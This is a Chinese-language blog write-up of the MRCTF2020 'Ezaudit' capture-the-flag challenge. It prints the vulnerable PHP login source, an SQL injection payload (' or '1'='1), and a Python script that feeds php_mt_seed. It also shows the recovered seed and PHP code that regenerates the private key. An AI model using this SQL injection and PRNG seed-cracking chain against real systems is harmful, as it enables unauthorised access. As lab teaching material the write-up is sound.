当前位置:网站首页>[MRCTF2020]Ezaudit
[MRCTF2020]Ezaudit
2022-07-30 16:43:00 【茶经新读.】
[MRCTF2020]Ezaudit

页面没有发现什么东西,点击各种按钮也没发现什么,dirsearch扫描一下发现了www.zip

下载下来解压得到一个index.php,查看获得源码
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???审计代码得知有login.html,想要登陆的话需要用户名、密码、密钥,并且用户名必须为crisper,密码可以随意输入但是不能为空,可以用万能密码' or '1'='1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 密钥的话,审计代码看到了mt_rand()和最下面的公钥KVQP0LdJKRaV3n9D,php伪随机数漏洞,先使用脚本爆出来随机数:
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
for j in range(len(str2)):
if str1[i] == str2[j]:
res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(res)![]()
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
然后用php_mt_seed爆出种子:

1775196155,然后就脚本生成私钥(要求php版本再5.2.1到7.0.x之间,PHP在线运行 - TOOLFK工具网):
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "<br>";
echo private_key();
?>
XuNhoueCDCGc,然后进入login.html
![]()


边栏推荐
- Is it reliable to work full-time in self-media?
- Rounding out the most practical way of several DLL injection
- 23. Please talk about the difference between IO synchronization, asynchronous, blocking and non-blocking
- 第一次用debug查询,发现这个为空,是不是代表还没获得数据库的意思?求帮助。
- Lotus explodes the block failed
- 第六章:决胜秋招
- (1) Cloud computing technology learning - virtualized vSphere learning
- onenote use
- 【SOC FPGA】Peripheral KEY LED
- 为人处世之道,与君共勉!
猜你喜欢

The first time I used debug query and found that this was empty, does it mean that the database has not been obtained yet?please help.
![[AGC] Quality Service 2 - Performance Management Example](/img/09/4a7c57f5aa651e4ac58d1e6d73afe6.png)
[AGC] Quality Service 2 - Performance Management Example

Go新项目-编译热加载使用和对比,让开发更自由(3)

云风:不加班、不炫技,把复杂的问题简单化

Explore CSAPP Experiment 2-bomb lab-Section 1

onenote使用

(一)云计算技术学习--虚拟化vSphere学习

OpenCV形状检测

huato 热更新环境搭建(DLL方式热更新C#代码)

打印1-100之间的奇数
随机推荐
华为云数据治理生产线DataArts,让“数据‘慧’说话”
huato hot update environment construction (DLL method hot update C# code)
绕开驱动层检测的无痕注入
go 学习03 基础知识变量类型
如何快速拷贝整个网站所有网页
3D激光SLAM:LeGO-LOAM论文解读---实验对比
(1) Cloud computing technology learning - virtualized vSphere learning
Large-scale integrated office management system source code (OA+HR+CRM) source code sharing for free
Navisworks切换语言
Visual Studio 集成Qt开发环境的一些注意事项
C语言学习之旅 【函数(二)】
你是这样的volatile,出乎意料
支付系统架构设计详解,精彩!
PHP留言反馈管理系统源码
归一化与标准化
[TypeScript] Introduction, Development Environment Construction, Basic Types
gvim命令记录
安全业务收入增速超70% 三六零筑牢数字安全龙头
arcpy tutorial
data storage